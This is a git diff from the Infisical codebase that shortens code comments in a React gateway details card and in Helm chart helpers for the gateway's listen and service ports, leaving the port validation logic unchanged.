a/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayDetailsCard/GatewayDetailsCard.tsx b/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayDetailsCard/GatewayDetailsCard.tsxindex 7a2d2ae21e..f7ad198b3d 100644--- a/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayDetailsCard/GatewayDetailsCard.tsx+++ b/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayDetailsCard/GatewayDetailsCard.tsx@@ -84,8 +84,7 @@ export const GatewayDetailsCard = ({ gateway }: { gateway: TGatewayV2WithAuthMetreturn gateway.relayId ? "Relay" : "Not configured";};const connection = describeConnection();- // Only broken out for a gateway running both. With one transport the Health badge and Last Seen- // above already say everything these rows would.+ // With one transport the badge and Last Seen above already say it.const transportHealth = getGatewayTransportHealth(gateway);const perTransportHealth = transportHealth.length > 1 ? transportHealth : [];diff --git a/helm-charts/infisical-gateway/templates/_helpers.tpl b/helm-charts/infisical-gateway/templates/_helpers.tplindex 9b113c67ab..a2c9025bbe 100644--- a/helm-charts/infisical-gateway/templates/_helpers.tpl+++ b/helm-charts/infisical-gateway/templates/_helpers.tpl@@ -62,8 +62,7 @@ Create the name of the service account to use{{- end }}{{/*-Port the gateway listens on for direct connections, taken from gateway.listenAddress so the-container port and the Service can never disagree with what the gateway actually binds.+Port the gateway listens on for direct connections, from gateway.listenAddress.*/}}{{- define "infisical-gateway.listenPort" -}}{{- $addr := .Values.gateway.listenAddress -}}@@ -71,8 +70,6 @@ container port and the Service can never disagree with what the gateway actually{{- if or (eq $port $addr) (not (regexMatch "^[0-9]+$" $port)) -}}{{- fail (printf "gateway.listenAddress must be host:port, got %q" $addr) -}}{{- end -}}-{{- /* Same range the backend enforces, so an out-of-range port fails the render rather than the- Kubernetes API. */ -}}{{- if or (lt (int $port) 1) (gt (int $port) 65535) -}}{{- fail (printf "gateway.listenAddress port must be between 1 and 65535, got %q" $port) -}}{{- end -}}@@ -80,9 +77,8 @@ container port and the Service can never disagree with what the gateway actually{{- end }}{{/*-Port the Service exposes. Defaults to the port in gateway.listenAddress, because that address is-what the platform dials: a Service listening on anything else is unreachable at the registered-address. Set service.port only to put a different port in front of the gateway.+Port the Service exposes. Defaults to the port in gateway.listenAddress, which is what the+platform dials.*/}}{{- define "infisical-gateway.servicePort" -}}{{- if .Values.service.port -}}